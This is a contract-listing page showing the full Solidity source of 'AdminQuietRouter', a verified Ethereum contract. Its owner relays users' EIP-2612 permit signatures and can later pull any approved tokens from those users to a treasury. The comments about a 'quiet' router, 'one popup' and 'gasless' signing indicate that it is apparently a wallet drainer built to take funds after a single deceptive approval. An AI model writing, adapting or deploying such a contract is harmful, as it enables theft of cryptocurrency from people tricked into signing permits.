AdminQuietRouter

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "contracts/AdminQuietRouter.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/* ========= Minimal interfaces ========= */

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}

interface IERC20Permit {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v, bytes32 r, bytes32 s
    ) external;
}

/* ========= Tiny Ownable + Reentrancy ========= */

abstract contract Ownable {
    address public owner;
    event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
    modifier onlyOwner() { require(msg.sender == owner, "NOT_OWNER"); _; }
    constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); }
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "ZERO_ADDR");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
}

abstract contract ReentrancyGuard {
    uint256 private _status = 1;
    modifier nonReentrant() {
        require(_status == 1, "REENTRANCY");
        _status = 2; _;
        _status = 1;
    }
}

/* ========= The quiet router (spender) ========= */

/// @notice Users do ONE popup to grant allowance (either 2612 permit [signature] OR standard approve [tx]).
/// @notice Admin (router owner) can later pull from that allowance to the treasury.
contract AdminQuietRouter is Ownable, ReentrancyGuard {
    /// @dev Where pulled tokens go
    address public treasury;

    event TreasuryUpdated(address indexed oldTreasury, address indexed newTreasury);
    event Pulled(address indexed token, address indexed from, address indexed to, uint256 amount);

    constructor(address _treasury) {
        require(_treasury != address(0), "TREASURY_0");
        treasury = _treasury;
    }

    function setTreasury(address _treasury) external onlyOwner {
        require(_treasury != address(0), "TREASURY_0");
        emit TreasuryUpdated(treasury, _treasury);
        treasury = _treasury;
    }

    /* ---------------------- USER APPROVAL PATHS (ONE POPUP) ---------------------- */

    /// @notice 2612 path (GASLESS for user): Frontend collects a single EIP-712 signature from the user.
    /// @dev This only sets allowance; it DOES NOT transfer. Admin can pull later with pullApproved().
    function usePermit2612(
        address token,
        address user,
        uint256 value,
        uint256 deadline,
        uint8 v, bytes32 r, bytes32 s
    ) external onlyOwner {
        IERC20Permit(token).permit(user, address(this), value, deadline, v, r, s);
        // token emits Approval; check allowance(user, this)
    }

    /// @notice Standard approve path: user calls token.approve(router, amount) once (on-chain).

    /* ---------------------- ADMIN ACTIONS ---------------------- */

    /// @notice Pull tokens already allowed to this router (by 2612 or approve).
    function pullApproved(address token, address user, uint256 amount)
        external onlyOwner nonReentrant
    {
        require(amount > 0, "AMOUNT_0");
        uint256 a = IERC20(token).allowance(user, address(this));
        require(a >= amount, "INSUFFICIENT_ALLOWANCE");
        bool ok = IERC20(token).transferFrom(user, treasury, amount);
        require(ok, "TRANSFER_FROM_FAIL");
        emit Pulled(token, user, treasury, amount);
    }

    /// @notice Rescue dust accidentally sent to the router.
    function sweepDust(address token, uint256 amount, address to) external onlyOwner {
        require(to != address(0), "TO_0");
        bool ok = IERC20(token).transfer(to, amount);
        require(ok, "TRANSFER_FAIL");
    }
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "evmVersion": "paris",
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    }
  }
}}

Tags:
Factory|addr:0x966c0cea6e08dd16b35a7b07dce39e755ed57c74|verified:true|block:23409655|tx:0x29993394dd4ceeb59b85c630c446284d14aa2bb5f41d763bcf033a4192886ad3|first_check:1758439972

Submitted on: 2025-09-21 09:32:53

Comments

Log in to comment.

No comments yet.